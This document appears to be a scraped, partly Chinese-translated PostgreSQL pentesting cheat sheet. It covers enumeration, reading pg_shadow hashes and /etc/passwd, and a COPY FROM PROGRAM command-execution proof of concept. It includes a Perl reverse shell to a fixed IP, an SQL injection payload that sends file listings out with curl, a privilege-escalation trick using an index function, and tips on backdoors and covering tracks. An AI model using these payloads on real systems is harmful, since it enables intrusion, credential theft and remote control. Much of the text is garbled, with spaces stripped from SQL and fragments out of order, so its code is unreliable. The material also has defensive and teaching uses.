psql-U<myuser># Open psql console with userpsql-h<host>-U<username>-d<database># Remote connectionpsql-h<host>-p<port>-U<username>-W<password><database># Remote connection
psql -h localhost -d <database_name>-U <User> #Password will be prompted\list # List databases\c <database> # use the database\d # List tables\du+ # Get users roles# Get current userSELECT user;# Get current databaseSELECT current_catalog;# List schemasSELECT schema_name,schema_owner FROM information_schema.schemata;\dn+#List databasesSELECT datname FROM pg_database;#Read credentials (usernames + pwd hash)SELECT usename, passwd from pg_shadow;# Get languagesSELECT lanname,lanacl FROM pg_language;# Show installed extensionsSHOW rds.extensions;SELECT*FROM pg_extension;# Get history of commands executed\s
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
端口是开放的
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
## PostgreSQL### Enumeration1. **Banner Grabbing**: Use tools like `nc` or `telnet` to connect to the PostgreSQL service and grab the banner to identify the version running.2. **Nmap Scripts**: Nmap has scripts specifically designed for PostgreSQL enumeration. Use the following command:```bash nmap -p 5432 --script postgresql-*<target>
Manual Connection: Use psql to manually connect to the PostgreSQL service and gather information about the databases and users.
Exploitation
Default Credentials: Check for default credentials like postgres:postgres or weak credentials in use.
SQL Injection: Exploit SQL injection vulnerabilities in web applications connected to the PostgreSQL database.
Privilege Escalation: Look for ways to escalate privileges within the PostgreSQL service or the underlying operating system.
Post-Exploitation
Dumping Data: Use tools like pg_dump to dump the contents of databases for further analysis.
Creating Backdoors: Create backdoors for persistent access to the PostgreSQL service.
Covering Tracks: Remove evidence of the attack by deleting logs and other traces of unauthorized access.
Countermeasures
Strong Credentials: Always use strong, unique passwords for PostgreSQL accounts.
Regular Updates: Keep the PostgreSQL server updated with the latest security patches to prevent exploitation of known vulnerabilities.
Network Segmentation: Implement network segmentation to restrict access to the PostgreSQL service from unauthorized users.
DETAIL: FATAL: password authentication failed for user "name"
* 端口是开放的或被过滤的
DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
在PL/pgSQL函数中,目前无法获取异常详细信息。但是,如果您可以直接访问PostgreSQL服务器,则可以检索所需的信息。如果从系统表中提取用户名和密码不可行,您可以考虑使用前一节讨论的字典攻击方法,因为这可能会产生积极的结果。
## 特权枚举
### 角色
| 角色类型 | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | 角色具有超级用户特权 |
| rolinherit | 角色自动继承其成员角色的特权 |
| rolcreaterole | 角色可以创建更多角色 |
| rolcreatedb | 角色可以创建数据库 |
| rolcanlogin | 角色可以登录。也就是说,此角色可以作为初始会话授权标识符 |
| rolreplication | 角色是复制角色。复制角色可以启动复制连接并创建和删除复制插槽。 |
| rolconnlimit | 对于可以登录的角色,设置此角色可以进行的最大并发连接数。-1表示无限制。 |
| rolpassword | 不是密码(始终显示为 `********`) |
| rolvaliduntil | 密码过期时间(仅用于密码身份验证);如果不过期,则为null |
| rolbypassrls | 角色绕过每个行级安全策略,请参阅[第5.8节](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)了解更多信息。 |
| rolconfig | 运行时配置变量的角色特定默认值 |
| oid | 角色的ID |
#### 有趣的组
* 如果您是 **`pg_execute_server_program`** 的成员,则可以 **执行** 程序
* 如果您是 **`pg_read_server_files`** 的成员,则可以 **读取** 文件
* 如果您是 **`pg_write_server_files`** 的成员,则可以 **写入** 文件
<div data-gb-custom-block data-tag="hint" data-style='info'>
请注意,在Postgres中,**用户**、**组**和**角色**是**相同的**。这取决于您如何使用它以及是否**允许登录**。
</div>
```sql
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
表格
# Get owners of tablesselect schemaname,tablename,tableowner from pg_tables;## Get tables where user isownerselect schemaname,tablename,tableowner from pg_tables WHERE tableowner ='postgres';# Get your permissions over tablesSELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;#Check users privileges over a table (pg_shadow on this example)## If nothing, you don't have any permissionSELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
函数
# Interesting functions are inside pg_catalog\df * #Get all\df *pg_ls* #Getby substring\df+ pg_read_binary_file #Check who has access# Get all functions of a schema\df pg_catalog.*# Get all functions of a schema (pg_catalog in this case)SELECT routines.routine_name, parameters.data_type, parameters.ordinal_positionFROM information_schema.routinesLEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_nameWHERE routines.specific_schema='pg_catalog'ORDER BY routines.routine_name, parameters.ordinal_position;# Another aparent optionSELECT*FROM pg_proc;
# Before executing these functiongoto the postgres DB (notin the template1)\c postgres## If you don't do this, you might get "permission denied" error even if you have permissionselect * from pg_ls_dir('/tmp');select * from pg_read_file('/etc/passwd', 0, 1000000);select * from pg_read_binary_file('/etc/passwd');# Check who has permissions\df+ pg_ls_dir\df+ pg_read_file\df+ pg_read_binary_file# Try to grant permissionsGRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;# By default you can only access files in the datadirectorySHOW data_directory;# But if you are a member of the group pg_read_server_files# You can access any file, anywhereGRANT pg_read_server_files TO username;# Check CREATEROLE privilege escalation
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
示例执行:
#PoCDROPTABLEIFEXISTScmd_exec;CREATETABLEcmd_exec(cmd_outputtext);COPYcmd_execFROMPROGRAM'id';SELECT*FROMcmd_exec;DROPTABLEIFEXISTScmd_exec;#Reverse shell#Notice that in order to scape a single quote you need to put 2 single quotesCOPYfilesFROMPROGRAM'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
# Access toexecute commandsGRANT pg_execute_server_program TO username;# Access toread filesGRANT pg_read_server_files TO username;# Access to write filesGRANT pg_write_server_files TO username;
COPY (select'') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
这通常是因为**pg_hba.conf**文件中的以下几行:
# "local" is for Unix domain socket connections onlylocal all all trust# IPv4 local connections:hostallall127.0.0.1/32trust# IPv6 local connections:hostallall::1/128trust
CREATETABLEtemp_table (datatext);CREATETABLEshell_commands_results (datatext);INSERT INTO temp_table VALUES ('dummy content');/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */CREATE OR REPLACEFUNCTIONpublic.suid_function(text) RETURNStextLANGUAGEsql IMMUTABLE AS'select ''nothing'';';CREATEINDEXindex_maliciousON public.temp_table (suid_function(data));ALTERTABLE temp_table OWNERTO cloudsqladmin;/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */CREATE OR REPLACEFUNCTIONpublic.suid_function(text) RETURNStextLANGUAGEsql VOLATILE AS'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';ANALYZE public.temp_table;
\du * # Get Users\l # Get databasesSELECT*FROM dblink('host=127.0.0.1port=5432user=someuserpassword=supersecretdbname=somedb','SELECT usename,passwd from pg_shadow')RETURNS (result TEXT);
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
log_statement='all'log_filename='postgresql-%Y-%m-%d_%H%M%S.log'logging_collector=onsudoservicepostgresqlrestart#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/#or in /var/lib/postgresql/<PG_Version>/main/pg_log/